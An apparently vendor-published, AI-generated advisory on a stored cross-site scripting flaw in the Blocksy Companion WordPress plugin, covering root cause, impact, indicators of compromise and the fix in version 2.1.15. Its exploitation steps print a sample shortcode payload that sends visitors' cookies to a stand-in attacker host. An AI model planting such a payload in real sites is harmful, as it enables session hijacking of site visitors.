CVE-2025-12475
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-12475 is a Stored Cross-Site Scripting (XSS) vulnerability in the Blocksy Companion plugin for WordPress, affecting all versions up to and including 2.1.14. The flaw exists in the blocksy_newsletter_subscribe shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on October 30, 2025, with the advisory assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, the blocksy_newsletter_subscribe shortcode fails to properly sanitize user-supplied shortcode attributes before rendering them in HTML output, allowing arbitrary JavaScript to be embedded in page content. Exploitation requires at minimum contributor-level authentication on the WordPress site, after which an attacker can insert a malicious shortcode into any post or page. The fix was applied in the plugin's helpers.php file for the newsletter-subscribe extension (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker with contributor-level access or above to inject persistent malicious scripts into WordPress pages. These scripts execute in the browsers of any user who visits the affected page, potentially enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. The scope is changed (affecting users beyond the attacker's own session), with low confidentiality and integrity impact and no direct availability impact (Wordfence, Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection coverage has been added by Qualys (detection ID 530812) (Wordfence, Qualys).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Blocksy Companion plugin at version 2.1.14 or earlier, using tools like WPScan or Shodan with WordPress fingerprinting.
  2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
  3. Craft malicious shortcode: Create a post or page containing the blocksy_newsletter_subscribe shortcode with a malicious attribute, e.g., [blocksy_newsletter_subscribe attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or submit content: Submit the post/page for publication (contributors may require editor approval, but editors/admins can publish directly).
  5. Trigger execution: When any site visitor loads the injected page, the unsanitized attribute is rendered in the HTML and the embedded script executes in their browser, enabling session hijacking or further attacks (Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing blocksy_newsletter_subscribe shortcode with unusual attribute values including <script>, javascript:, or encoded variants (%3Cscript%3E).
  • File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing script tags within blocksy_newsletter_subscribe shortcode attributes.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the shortcode, potentially indicating active cookie or credential exfiltration.

Mitigation and workarounds

Site administrators should update the Blocksy Companion plugin to version 2.1.15 or later, which includes the fix applied to helpers.php in the newsletter-subscribe extension. As an interim measure, sites can restrict contributor-level user permissions or disable the newsletter subscribe shortcode functionality until the update is applied. Reviewing existing posts and pages for suspicious shortcode usage is also recommended (Wordfence, WordPress Trac).

Community reactions

Wordfence published the vulnerability as part of their threat intelligence feed, and Sucuri included it in their October 2025 vulnerability patch roundup (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-19859MEDIUM6.5
  • jetformbuilder
NoYesSep 06, 2026
CVE-2026-85038MEDIUM5.3
  • b2bking-wholesale-for-woocommerce
NoYesSep 06, 2026
CVE-2026-80439MEDIUM4.8
  • wpcf7-redirect
NoYesSep 06, 2026
CVE-2026-80437MEDIUM4.8
  • ninja-forms
NoYesSep 06, 2026
CVE-2026-19862MEDIUM4.8
  • jetformbuilder
NoYesSep 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management